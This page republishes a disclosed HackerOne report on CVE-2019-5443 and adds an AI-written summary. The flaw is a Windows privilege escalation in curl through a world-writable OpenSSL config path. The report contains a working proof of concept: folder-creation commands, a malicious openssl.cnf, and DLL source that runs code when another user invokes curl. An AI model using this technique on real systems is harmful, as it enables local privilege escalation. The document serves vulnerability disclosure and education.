Skip to content
Access control Disclosed report Intermediate CVE-2019-5443

CVE-2019-5443: Windows Privilege Escalation: Malicious OpenSSL Engine

The Windows curl binary loads its OpenSSL configuration from a world-writable path, allowing a low-privileged user to plant a malicious configuration and engine library. When another user runs curl, the library executes with that user's privileges, enabling privilege escalation.

mirchr Follow

Originally disclosed on HackerOne

High 7.8 View original
  • Paid in 16 days
  • Disclosed after 18 days

Summary:

The curl windows binaries are built with OpenSSL libraries and have an insecure path for the OPENSSLDIR build parameter. This path is set to c:\usr\local\ssl. When curl is executed it attempts to load openssl.cnf from this path. By default on windows, low privileged users have the authority to create folders under c:. A low privileged user can create a custom openssl.cnf file to load a malicious OpenSSL Engine(library). The result is arbitrary code execution with the full authority of the account executing the curl binary.

Version tested. curl-7.65.1_1-win64

OS: Windows 10

Steps To Reproduce:

All steps are executed as a low privileged(non-admin) user unless otherwise noted

  1. As a low privileged user create the following folder c:\usr\local\ssl
mkdir c:\usr
mkdir c:\usr\local
mkdir c:\usr\local\ssl
  1. Create an openssl.cnf file with the following contents.
openssl_conf = openssl_init
[openssl_init]
engines = engine_section
[engine_section]
woot = woot_section
[woot_section]
engine_id = woot
dynamic_path = c:\\stage\\calc.dll
init = 0
  1. Create the c:\stage folder
mkdir c:\stage
  1. Create and compile a malicious OpenSSL Engine library. For this PoC we will execute the Windows calculator.
/* Cross Compile with
   x86_64-w64-mingw32-g++ calc.c -o calc.dll -shared
*/
#include <windows.h>
BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,
    DWORD fdwReason,
    LPVOID lpReserved )
{
    switch( fdwReason )
    {
        case DLL_PROCESS_ATTACH:
            system("calc");
            break;
        case DLL_THREAD_ATTACH:
         // Do thread-specific initialization.
            break;
        case DLL_THREAD_DETACH:
         // Do thread-specific cleanup.
            break;
        case DLL_PROCESS_DETACH:
         // Perform any necessary cleanup.
            break;
    }
    return TRUE;  // Successful DLL_PROCESS_ATTACH.
}
```

 5. Copy calc.dll to c:\stage
`
copy calc.dll c:\stage
`
 6. Execute curl.exe as a different user.

## Supporting Material/References:
  * PoC image showing curl loading a custom calc.dll and executing calc.exe
{{media:0}}

## Impact

A malicious local user(or potentially malware) with access to a Windows workstation or server with curl installed has the ability to silently plant a custom OpenSSL Engine library that contains arbitrary code. Every time curl is executed this library will be loaded and the code executed with the full authority of the account executing it resulting in the elevation of privileges.

The original report as published on HackerOne, by mirchr. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the curl Windows build used an OpenSSL configuration directory (OPENSSLDIR) under C:\usr\local\ssl, which is writable by low-privileged users, so the configuration file could be replaced.

Impact

A local attacker could execute arbitrary code with the privileges of any user who runs curl, leading to privilege escalation.

What the attacker needed

Low-privileged local user; curl installed on Windows; another user runs curl

How it was found

  1. As a low-privileged user, create the folder C:\usr\local\ssl.
  2. Create an openssl.cnf file in that folder that points to a malicious engine library.
  3. Create the folder C:\stage.
  4. Compile a malicious OpenSSL engine DLL that runs code when loaded.
  5. Copy the DLL to C:\stage.
  6. Execute curl.exe as a different user.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

On Windows, curl looks for a configuration file in a folder that any normal user can create. A normal user can put a harmful file there, and when a more powerful user runs curl, that file makes curl run the attacker's code with the more powerful user's rights.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by mirchr

View all

1 more disclosed report, best first.

More from curl

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.